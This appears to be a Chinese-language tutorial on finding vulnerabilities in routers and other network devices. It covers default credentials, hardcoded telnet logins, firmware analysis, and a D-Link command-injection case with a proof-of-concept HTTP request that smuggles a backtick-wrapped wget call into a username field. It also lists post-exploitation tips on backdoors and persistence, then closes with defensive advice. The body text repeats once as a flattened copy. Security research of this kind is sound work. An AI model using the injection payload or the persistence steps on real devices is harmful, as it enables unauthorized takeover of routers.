设备漏洞挖掘思路
字数 1330 2025-08-25 22:59:20

设备漏洞挖掘思路详解

1. 信息收集阶段

1.1 弱口令挖掘

  • 搜索途径

    • 网上用户指导手册中可能包含默认凭证
    • CNVD/CVE平台查找已知弱口令设备
    • 使用FOFA/Hunter等搜索引擎定位未修复弱口令的设备
  • 优势

    • 获取后台访问权限后可测试更多功能点
    • 后台通常包含更多潜在漏洞的功能模块

1.2 硬编码问题挖掘

  • 常见表现形式

    • 设备开启telnet/ssh服务
    • 初始化脚本中包含硬编码凭证
    • 开发者调试留下的隐藏后门
  • 案例分析(WayOS微盟路由器)

    1. 固件仿真执行发现telnet服务
    2. 分析初始化文件确认服务启动
    3. 定位关键文件mqtt_ai
    4. 分析mqtt_ai_sw_telnet_login函数
    5. 发现硬编码凭证实现telnet登录
  • SSH密码获取方法

    • 检查/etc/shadow文件
    • 尝试解密存储的密码哈希

2. 组件及OEM框架漏洞挖掘

2.1 组件漏洞挖掘

  • 典型漏洞类型

    • USB共享存储组件命令执行
    • Samba服务器配置漏洞
  • 案例分析(D-Link路由器)

    1. 发现与微盟路由器相似功能
    2. 解压固件查找漏洞路径字符串
    3. 使用Ghidra分析固件:
      • 过滤system函数调用
      • 交叉引用分析可控数据流
    4. 发现Samba用户名设置漏洞:
      • usb_usernameuse_husername未过滤
      • 直接拼接进system()执行
    5. 构造PoC验证命令注入:
      GET /usb_paswd.asp?share_enable=1&passwd=123456&name=login&hpasswd=123456&hname=hlogin%60wget%20http%3A%2F%2F192.168.1.2%3A8000%60&acc_ip=&acc_mac=&acc_wan=0&acc_auth=0&send_email_en=0&send_email_name=0&send_email_pwd=0&device_name=&_=1663771596225 HTTP/1.1
      

2.2 OEM框架漏洞挖掘

  • 识别方法

    • 通过CVE/CNVD查找相似设备漏洞
    • 分析JS等静态文件识别相同OEM框架
    • 对比不同设备的引用文件结构
  • 案例分析(迈普与飞鱼星)

    1. 发现两者使用相同OEM框架
    2. 飞鱼星的权限绕过漏洞在迈普设备同样存在
    3. 通过飞鱼星漏洞反溯迈普设备漏洞

3. 漏洞挖掘技术细节

3.1 固件分析方法

  1. 固件解包

    • 使用binwalk等工具解压固件包
    • 提取文件系统进行分析
  2. 静态分析

    • 使用Ghidra/IDA进行反编译
    • 关键函数分析(如systemexec等危险函数)
    • 字符串搜索定位关键功能
  3. 动态分析

    • 固件仿真执行(使用QEMU等工具)
    • 监控进程和服务启动情况

3.2 常见漏洞模式

  1. 命令注入

    • 用户输入未过滤直接拼接进系统命令
    • 常见于配置保存、诊断测试等功能
  2. 硬编码凭证

    • 固件中包含固定用户名/密码
    • 后门账户用于调试或维护
  3. 权限绕过

    • 未正确验证用户权限
    • 直接访问后台API接口
  4. 敏感信息泄露

    • 配置文件包含敏感数据
    • 调试接口暴露系统信息

4. 漏洞验证与利用

4.1 验证方法

  1. 本地验证

    • 搭建仿真环境测试漏洞
    • 使用调试工具监控执行流程
  2. 远程验证

    • 构造特殊HTTP请求
    • 观察系统响应和外部连接

4.2 利用技巧

  1. 命令注入利用

    • 使用反引号或分号注入命令
    • 通过wget/curl建立反向连接
  2. 权限提升

    • 利用配置错误获取root权限
    • 修改系统文件植入后门
  3. 持久化

    • 修改启动脚本
    • 植入定时任务

5. 防御建议

  1. 对厂商

    • 避免硬编码凭证
    • 严格过滤用户输入
    • 最小化开放服务端口
  2. 对用户

    • 及时更新固件
    • 修改默认凭证
    • 关闭不必要的服务
  3. 对研究人员

    • 负责任的漏洞披露
    • 提供详细复现步骤
    • 协助厂商修复漏洞
设备漏洞挖掘思路详解 1. 信息收集阶段 1.1 弱口令挖掘 搜索途径 : 网上用户指导手册中可能包含默认凭证 CNVD/CVE平台查找已知弱口令设备 使用FOFA/Hunter等搜索引擎定位未修复弱口令的设备 优势 : 获取后台访问权限后可测试更多功能点 后台通常包含更多潜在漏洞的功能模块 1.2 硬编码问题挖掘 常见表现形式 : 设备开启telnet/ssh服务 初始化脚本中包含硬编码凭证 开发者调试留下的隐藏后门 案例分析(WayOS微盟路由器) : 固件仿真执行发现telnet服务 分析初始化文件确认服务启动 定位关键文件 mqtt_ai 分析 mqtt_ai_sw_telnet_login 函数 发现硬编码凭证实现telnet登录 SSH密码获取方法 : 检查 /etc/shadow 文件 尝试解密存储的密码哈希 2. 组件及OEM框架漏洞挖掘 2.1 组件漏洞挖掘 典型漏洞类型 : USB共享存储组件命令执行 Samba服务器配置漏洞 案例分析(D-Link路由器) : 发现与微盟路由器相似功能 解压固件查找漏洞路径字符串 使用Ghidra分析固件: 过滤 system 函数调用 交叉引用分析可控数据流 发现Samba用户名设置漏洞: usb_username 和 use_husername 未过滤 直接拼接进 system() 执行 构造PoC验证命令注入: 2.2 OEM框架漏洞挖掘 识别方法 : 通过CVE/CNVD查找相似设备漏洞 分析JS等静态文件识别相同OEM框架 对比不同设备的引用文件结构 案例分析(迈普与飞鱼星) : 发现两者使用相同OEM框架 飞鱼星的权限绕过漏洞在迈普设备同样存在 通过飞鱼星漏洞反溯迈普设备漏洞 3. 漏洞挖掘技术细节 3.1 固件分析方法 固件解包 : 使用binwalk等工具解压固件包 提取文件系统进行分析 静态分析 : 使用Ghidra/IDA进行反编译 关键函数分析(如 system 、 exec 等危险函数) 字符串搜索定位关键功能 动态分析 : 固件仿真执行(使用QEMU等工具) 监控进程和服务启动情况 3.2 常见漏洞模式 命令注入 : 用户输入未过滤直接拼接进系统命令 常见于配置保存、诊断测试等功能 硬编码凭证 : 固件中包含固定用户名/密码 后门账户用于调试或维护 权限绕过 : 未正确验证用户权限 直接访问后台API接口 敏感信息泄露 : 配置文件包含敏感数据 调试接口暴露系统信息 4. 漏洞验证与利用 4.1 验证方法 本地验证 : 搭建仿真环境测试漏洞 使用调试工具监控执行流程 远程验证 : 构造特殊HTTP请求 观察系统响应和外部连接 4.2 利用技巧 命令注入利用 : 使用反引号或分号注入命令 通过wget/curl建立反向连接 权限提升 : 利用配置错误获取root权限 修改系统文件植入后门 持久化 : 修改启动脚本 植入定时任务 5. 防御建议 对厂商 : 避免硬编码凭证 严格过滤用户输入 最小化开放服务端口 对用户 : 及时更新固件 修改默认凭证 关闭不必要的服务 对研究人员 : 负责任的漏洞披露 提供详细复现步骤 协助厂商修复漏洞